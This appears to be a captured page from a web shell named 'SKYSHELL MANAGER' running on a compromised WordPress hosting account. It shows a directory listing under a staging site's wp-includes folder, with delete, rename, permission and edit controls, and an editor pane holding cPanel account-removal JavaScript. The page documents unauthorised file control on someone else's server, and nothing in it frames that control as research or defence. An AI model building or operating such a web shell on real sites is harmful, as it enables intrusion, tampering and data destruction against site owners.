📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: index.cmb.js
/* # templates/tls_wizard_redirect/services/indexService.js # Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ /* jshint -W100 */ define( 'app/services/indexService',[ "angular", "cjt/io/api", "cjt/util/query", // XXX FIXME remove when batch is in "cjt/io/whm-v1-request", "cjt/io/whm-v1", // IMPORTANT: Load the driver so its ready ], function(angular, API, QUERY, APIREQUEST) { var app = angular.module("App"); var NO_MODULE = ""; function indexServiceFactory($q, PAGE) { var indexService = {}; indexService.get_domains = function() { return PAGE.data.domains; }; indexService.remove_account = function(account) { var deferred = $q.defer(); var apiCall = new APIREQUEST.Class(); apiCall.initialize(NO_MODULE, "removeacct"); apiCall.addArgument("user", account.username); apiCall.addArgument("keepdns", account.keep_dns ? "1" : "0"); API.promise(apiCall.getRunArguments()) .done(function(response) { response = response.parsedResponse; if (response.status) { deferred.resolve(response); } else { deferred.reject(response.error); } }); return deferred.promise; }; indexService.get_account_summary = function(username) { var deferred = $q.defer(); var apiCall = new APIREQUEST.Class(); apiCall.initialize(NO_MODULE, "accountsummary"); apiCall.addArgument("user", username); API.promise(apiCall.getRunArguments()) .done(function(response) { response = response.parsedResponse; if (response.status) { deferred.resolve(response); } else { deferred.reject(response.error); } }); return deferred.promise; }; return indexService; } indexServiceFactory.$inject = ["$q", "PAGE"]; return app.factory("indexService", indexServiceFactory); }); /* # templates/killacct/views/RemoveController.js # Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ /* jshint -W100 */ define( 'app/views/RemoveController',[ "lodash", "angular", "cjt/util/locale", "uiBootstrap", "cjt/directives/toggleSortDirective", "cjt/directives/searchDirective", "cjt/directives/pageSizeDirective", "cjt/filters/startFromFilter", "cjt/decorators/paginationDecorator", ], function(_, angular, LOCALE) { // Retrieve the current application var app = angular.module("App"); app.controller( "ModalInstanceCtrl", [ "$scope", "$uibModalInstance", "selected_accounts", function($scope, $uibModalInstance, selected_accounts) { $scope.selected_accounts = selected_accounts.map(function(item) { return item.username; }); $scope.get_selected_accounts_text = function() { return LOCALE.maketext("Check this box to acknowledge that you are aware that this will permanently delete the following accounts: [list_and_quoted,_1]", $scope.selected_accounts); }; $scope.closeModal = function() { $uibModalInstance.close(); }; $scope.runIt = function() { $uibModalInstance.close(true); }; } ] ); // Setup the controller var controller = app.controller( "RemoveController", [ "$scope", "$filter", "$routeParams", "indexService", "growl", "$uibModal", function($scope, $filter, $routeParams, indexService, growl, $uibModal) { var _growl_error = function(err) { growl.error(_.escape(err)); }; var domains = indexService.get_domains(); var accounts = []; angular.forEach(domains, function(value, key) { accounts.push({ "username": value.username, "owner": value.owner, "domain": key, "suspended": value.suspended ? LOCALE.maketext("Suspended") : LOCALE.maketext("Active"), "selected": false, "keep_dns": false }); }); $scope.accounts = accounts; $scope.removing_multiple_accounts = false; $scope.confirming_accounts_removal = false; $scope.show_only_suspended_accounts = false; $scope.meta = { // sort settings sortReverse: false, sortBy: "username", sortDirection: "desc", // pager settings maxPages: 5, totalItems: $scope.accounts.length, currentPage: 1, pageSize: 10, pageSizes: [10, 20, 50, 100], start: 0, limit: 10, filterValue: "" }; $scope.showPager = true; $scope.LOCALE = LOCALE; $scope.removal_queue = []; var filters = { filter: $filter("filter"), orderBy: $filter("orderBy"), startFrom: $filter("startFrom"), limitTo: $filter("limitTo") }; // update the table on sort $scope.sortList = function() { $scope.fetch(); }; // update table on pagination changes $scope.selectPage = function() { $scope.fetch(); }; // update table on page size changes $scope.selectPageSize = function() { $scope.fetch(); }; $scope.request_delete_account = function(account) { account.delete_requested = true; if (account.summary) { return true; } account.requesting_summary = true; return indexService.get_account_summary(account.username).then(function(result) { account.summary = result.data.pop(); }, _growl_error).finally(function() { account.requesting_summary = false; }); }; $scope.request_multi_delete_confirmation = function() { var $uibModalInstance = $uibModal.open({ templateUrl: "updateModalContent.tmpl", controller: "ModalInstanceCtrl", resolve: { "selected_accounts": $scope.get_selected_accounts } }); $uibModalInstance.result.then(function(proceed) { if (proceed) { $scope.confirming_accounts_removal = false; return $scope.remove_selected(); } }); }; $scope.searchList = function() { $scope.fetch(); }; $scope.remove = function(account) { $scope.removal_queue.push(account); account.removing = true; if ($scope.removal_queue.length === 1) { return $scope.remove_next_queued(); } else { growl.info(LOCALE.maketext("The system has added the account [_1] to the removal queue.", account.username)); account.delete_requested = false; } }; $scope.get_selected_accounts = function() { $scope.selected_accounts = $filter("filter")($scope.accounts, { selected: 1 }); if ($scope.selected_accounts.length === 0 && $scope.confirming_accounts_removal) { $scope.confirming_accounts_removal = false; } return $scope.selected_accounts; }; $scope.get_selected_account_names = function() { var accounts = []; var _accounts = $scope.get_selected_accounts(); angular.forEach(_accounts, function(account) { accounts.push(account.username); }); return accounts; }; $scope.remove_next_queued = function() { /* prevent multiple running */ if ($scope.removing_multiple_accounts) { return; } $scope.removing_multiple_accounts = true; return _remove_next_queued(); }; function _remove_next_queued() { var account = $scope.removal_queue.shift(); var acct_growl = growl.info(LOCALE.maketext("Starting removal of “[_1]”", account.username)); return indexService.remove_account(account).then(function() { acct_growl.setText(LOCALE.maketext("Successfully removed “[_1]”", account.username)); acct_growl.severity = "success"; account.removing = false; $scope.accounts = $filter("filter")($scope.accounts, function(acct, key) { if (acct.username === account.username) { $scope.accounts[key].removing = false; return false; } return true; }); $scope.fetch(); /* are there more to remove, go again */ if ($scope.removal_queue.length) { return _remove_next_queued(); } /* otherwise we're done */ $scope.removing_multiple_accounts = false; return true; }, function(error) { account.removing = false; _growl_error(error); $scope.clear_removal_queue(); $scope.removing_multiple_accounts = false; }); } $scope.get_table_showing_text = function() { return LOCALE.maketext("Showing [numf,_1] - [numf,_2] of [quant,_3,item,items]", $scope.meta.start, $scope.meta.limit, $scope.meta.totalItems); }; $scope.selected_account_name_string = function() { return LOCALE.maketext("[list_and_quoted,_1]", $scope.get_selected_account_names()); }; $scope.cancel_removal_label = function() { return LOCALE.maketext("Cancel account removals ([_1])", $scope.removal_queue.length); }; $scope.clear_removal_queue = function() { var usernames = []; angular.forEach($scope.removal_queue, function(acct) { acct.removing = false; usernames.push(acct.username); }); $scope.removal_queue = []; var accounts_being_removed = filters.filter($scope.accounts, { removing: true }).map(function(acct) { return acct.username; }); if (usernames.length) { growl.info(LOCALE.maketext("The system will not remove the following [numerate,_1,user,users]: [list_and_quoted,_1]", usernames)); } if (accounts_being_removed.length) { growl.warning(LOCALE.maketext("The system cannot abort the deletion of the following [numerate,_1,user,users]: [list_and_quoted,_1]", accounts_being_removed)); } }; $scope.remove_selected = function() { var _accounts = $scope.get_selected_accounts(); if (!_accounts.length) { return; } angular.forEach(_accounts, function(acct) { acct.removing = true; acct.selected = 0; $scope.removal_queue.push(acct); }); /* because all selected items are deselected return this to false */ $scope.account_checkbox_control = false; $scope.remove_next_queued(); $scope.update_selected(); }; $scope.toggleCheckAll = function(arr, attr, val) { arr.forEach(function(item, index) { /* prevent an item from being selected if it's being removed */ if (attr === "selected" && val && arr[index].removing) { return; } arr[index][attr] = val ? 1 : 0; }); $scope.update_selected(); }; $scope.update_selected = function() { $scope.get_selected_accounts(); }; var min_value_in_array = function(arr) { var min_value = arr[0]; for (var x = 0; x < arr.length; x++) { min_value = arr[x] < min_value ? arr[x] : min_value; } return min_value; }; $scope.wrappedDeleteText = function(username) { return LOCALE.maketext("Are you sure you want to remove the account “[_1]”?", username) + "<br />" + LOCALE.maketext("This will permanently remove all of the user’s data from the system."); }; $scope.get_suspended_accounts = function() { return $filter("filter")($scope.accounts, { suspended: LOCALE.maketext("Suspended") }); }; // update table $scope.fetch = function() { var filteredList = []; // filter list based on search text if ($scope.meta.filterValue !== "") { filteredList = filters.filter($scope.accounts, $scope.meta.filterValue, false); } else { filteredList = $scope.accounts; } if ($scope.show_only_suspended_accounts) { filteredList = $scope.get_suspended_accounts(); } // sort the filtered list if ($scope.meta.sortDirection !== "" && $scope.meta.sortBy !== "") { filteredList = filters.orderBy(filteredList, $scope.meta.sortBy, $scope.meta.sortDirection === "asc" ? true : false); } // update the total items after search $scope.meta.totalItems = filteredList.length; // filter list based on page size and pagination if ($scope.meta.totalItems > min_value_in_array($scope.meta.pageSizes)) { var start = ($scope.meta.currentPage - 1) * $scope.meta.pageSize; var limit = $scope.meta.pageSize; filteredList = filters.limitTo(filters.startFrom(filteredList, start), limit); $scope.showPager = true; // table statistics $scope.meta.start = start + 1; $scope.meta.limit = start + filteredList.length; } else { // hide pager and pagination $scope.showPager = false; if (filteredList.length === 0) { $scope.meta.start = 0; } else { // table statistics $scope.meta.start = 1; } $scope.meta.limit = filteredList.length; } $scope.filteredAccounts = filteredList; $scope.update_selected(); return filteredList; }; // first page load if ($routeParams["user"]) { angular.forEach($scope.accounts, function(acct) { if (acct.username === $routeParams["user"]) { $scope.meta.filterValue = acct.username; $scope.request_delete_account(acct); } }); } $scope.fetch(); } ] ); return controller; } ); /* global define, require, PAGE */ define( 'app/index',[ "angular", "cjt/core", "cjt/modules", "uiBootstrap", "ngRoute" ], function(angular, CJT) { return function() { angular.module("App", [ "cjt2.config.whm.configProvider", // This needs to load first "ngRoute", "ui.bootstrap", "angular-growl", "cjt2.whm" ]); var app = require( [ "cjt/bootstrap", // Application Modules "uiBootstrap", "app/services/indexService", "app/views/RemoveController", ], function(BOOTSTRAP) { var app = angular.module("App"); app.value("PAGE", PAGE); app.config(["growlProvider", "$httpProvider", function(growlProvider, $httpProvider) { growlProvider.globalReversedOrder(true); growlProvider.globalTimeToLive({ success: -1, warning: -1, info: -1, error: -1 }); $httpProvider.useApplyAsync(true); } ]); // If using views app.controller("BaseController", ["$rootScope", "$scope", "$route", "$location", function($rootScope, $scope, $route, $location) { $scope.loading = false; // Convenience functions so we can track changing views for loading purposes $rootScope.$on("$routeChangeStart", function() { $scope.loading = true; }); $rootScope.$on("$routeChangeSuccess", function() { $scope.loading = false; }); $rootScope.$on("$routeChangeError", function() { $scope.loading = false; }); $scope.current_route_matches = function(key) { return $location.path().match(key); }; $scope.go = function(path) { $location.path(path); }; } ]); // viewName app.config(["$routeProvider", function($routeProvider) { // Setup a route - copy this to add additional routes as necessary $routeProvider.when("/:user?", { controller: "RemoveController", templateUrl: CJT.buildFullPath("killacct/views/RemoveView.ptt"), resolve: {} }); // default route $routeProvider.otherwise({ "redirectTo": "/" }); } ]); // end of using views // Initialize the application BOOTSTRAP(document); }); return app; }; } );
Save